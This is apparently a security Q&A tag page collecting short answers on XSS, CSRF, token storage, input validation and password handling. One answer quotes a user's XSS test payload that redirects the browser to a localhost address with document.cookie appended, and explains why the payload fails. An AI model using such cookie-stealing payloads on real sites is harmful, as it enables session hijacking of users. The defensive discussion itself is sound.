Tag Info

Hot answers tagged

9

On it's face, because it takes encoded characters and is handled by the page code, it gets classified as an XSS vulnerability. This does not mean that it is a XSS vulnerability for your site, but it is suspicious. As for the process to determine is there is a risk, you need to do a little fuzzing to see how your site responds. XSS fuzzing options abound ...


5

When you use an "authentication token", the simple presentation of that token by the client grants access (as long as the token is deemed valid by the server). If you store the tokens "as is" in your server's database, then an attacker who could get a glimpse at your database will immediately learn all the tokens, allowing him to send requests in the name of ...


4

In your question, you mention that the app displays the text of the captcha right under it. If you mean that the correct answer to the captcha challenge is displayed to the user as text in addition to its display in an image, then it should be a simple matter to script an automated scan. Your script would be able to complete the login process by reading the ...


3

No, loading an HTML file from your computer is never an XSS vulnerability. You can run whatever code you want locally, but that doesn't affect the website. Cross-site scripting is about getting your code executed on other user's browsers so you can interact with their session for that site. Whether that is stealing a session cookie, performing actions, or ...


3

They're using id.avast.com as an authentication provider, not just an external database. So RCE doesn't get you access to it (assuming it's a different host machine), SQLi certainly doesn't, and since it's on a different domain (origin), neither does XSS. They've now significantly isolated their password hashes from the forum software. Using an ...


3

Yes, you should add protections, but they need to be appropriate for the situation. All user input must be validated. The fundamental principle is that you do not define what "bad" input is, you define what "good" input is and reject everything else. To take your example, you've defined "items > 20" as bad. But what if "items" is -1? What if it's the ...


3

Yes you should protect against Login CSRF. Without this protection an attacker can effectively reverse a CSRF attack. Rather than the victim being logged in to their own account and the attacker tries to ride the session by making requests to the site using the victim's cookies, they will be logging into the site under the attacker's credentials allowing the ...


3

With the comments removed, your code looks like this: <a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a> This results in a syntax error, which prevents the code from running. Particularly, the "" is ...


2

In itself, merely having %32%35 decoded to 25 in a URL is neither an error nor a sign of a vulnerability. In fact, it's what RFC 3986, section 2.3 says should happen (emphasis mine): 2.3. Unreserved Characters Characters that are allowed in a URI but do not have a reserved purpose are called unreserved. These include uppercase and lowercase ...


2

Since most traffic is intercepted merely passively, meaning that encryption without authentication will let you get away from surveillance .... It is usually easy to intercept traffic actively if you are inside the same (W)LAN, e.g. by doing ARP spoofing or similar techniques. And, for the parties who are able to intercept the traffic passively on the ...


2

A MAC address is unsuitable for this for several reasons: The MAC address can be changed freely by the user in software, and will change if the network hardware is replaced. A wireless device broadcasts its address to everyone around, so it's hardly a secret. MAC addresses are supposed to be unique, but in practice, they aren't. A device with multiple ...


2

These requests seem to try to locate Ajax File Manager, in which several vulnerabilities have been discovered. If you don’t use that, there is no need to worry.


2

Putting an xinetd server in front of your web server will reduce security: in addition to any security holes in the web server, you now also are vulnerable to any security holes in xinetd. Any security measures you can apply through xinetd, you can apply instead through the firewall or the web server.


2

No, not at all. What you did, is just a simple XSS test on your own browser. No other user can be affected by the XSS you coded to run on your own computer. You can deploy the same vulnerability on your own hosted website: that way, your website will be either XSS vulnerable. In which case, it can either be used against your own website by hackers wanting ...


2

None of the mainstream user-agents (IE, FF, Chrome, etc.) support either of those proposals, so there's currently no way to do opportunistic HTTPS. Why not just serve all of your content over HTTPS to everyone? Seems like that's the best way to offer your users confidentiality and integrity.


2

CAS just performs authentication. Authorization is up to the service provider. With older versions of CAS, you could use the SAML validate endpoint to get attributes from CAS. With the new jasig-CAS 4.0 server, you can get attributes from the CAS 3.0 protocol. This still means authorization is up to the service, but the service is able to request ...


1

This sounds like preventing a CSRF attack. The Same Origin Policy will already prevent anything within your API from being read by another domain, but to prevent requests that makes changes to your system you will need to guard against CSRF. On server side: I check for request header's origin and only allow requests from my-one-and-only-web-cleint.com ...


1

It sounds like a situation similar to CSRF attacks, so it should be addressable with anti-forgery tokens. Anti-forgery tokens should achieve what you need. Each time you get a web request, you serve an anti-forgery token to the client as part of the FORM or script or webapp. The token embeds values like a date, login id, and client ip, encrypted with a ...


1

Assuming you have a password reset function (I'd be surprised if you didn't), I'd just blank/replace the hashes with something empty/useless. This way, nobody can log in, and the proper user can reset their password to regain access. You should consider using a better hashing technique than SHA-1. For simple passwords, there are Rainbow Tables and other ...


1

Generating random passwords and sending them to users is fine. But the most important thing to do, if not already done, is to warn ALL users that their passwords have been compromised and if they are using the same on whatever other website/app they absolutely have to change it.


1

Not understanding exactly what you are trying to defend against (see my comment above). But in any way if you wish to serve html+css+js locally you could use Cordova to package your web app as a client app. Then you could also upload it to the market. (You can also use the OS's web browser controls to implement it yourself instead of using cordova) Your ...


1

Only addressing the first question, which is essentially "Is it okay to code client-side validation?". Yes its a good user experience, immediate feedback is nice. Client-side validation isn't actually security however, its more of a convenience. Its purpose is to speed up the process, to put the form in a state that will pass validation. As you probably ...


1

You can't always know how things really can go bad. In your current example the attacker can send a very large value causing an arithmetic- or stack overflow or an unhandled exception causing the server to shut down and lead to an availibility problem. So always do the checks, always consider the worst can happen and think of the attacker as someone who is ...


1

Short answer: no, and take a crash course on security urgently if you're making a sales website! You should not add arbitrary restrictions and checks and "protections" just because you don't know what's going on. If you do that you're more likely to add problems and leave security vulnerabilities open than anything. Obviously, the reason why there are ...


1

If some malware on the user side makes the client buy 2 millions of items on your site, and your site performs the transaction without raising any alert, then some people, in particular the defrauded customer, may complain quite loudly and assert that your server is a bit lax. It could be argued (in court !) that you would be at fault for not making some ...


1

I answer my own question thanks to @SilverlightFox. MySQL has two modes it can operate: STRICT_TRANS_TABLES and STRICT_ALL_TABLES and quoting MySQL doc: Strict mode controls how MySQL handles invalid or missing values in data-change statements such as INSERT or UPDATE. A value can be invalid for several reasons. For example, it might have the wrong data ...


1

Login? Yes. Logout? No. Why login? There is this funny CSRF login attack, where the attacker logs in the victim under aa attacker-controlled account, and then can "gain control over content created by the victim while logged in under that account". The impact is pretty lame IMO, but they started to see this as a problem now that more juicy attack vectors ...


1

Viewstate is what you're looking for. It secures the page cryptographically, although it has known limitations that are located elsewhere on this site. An optional MAC should be enabled for sensitive pages, such as yours, that allows the client to post back prices that are used by the business layer.


1

Assuming that this is the code that is displayed on the webpage, I would say that the URL you pass to location.href is malformed which makes the Javascript crash. Hence, nothing happen. Your code if you reformat it and remove the comments look like that (and there seems to have a typo for the > character on the first line...) <a ...



Only top voted, non community-wiki answers of a minimum length are eligible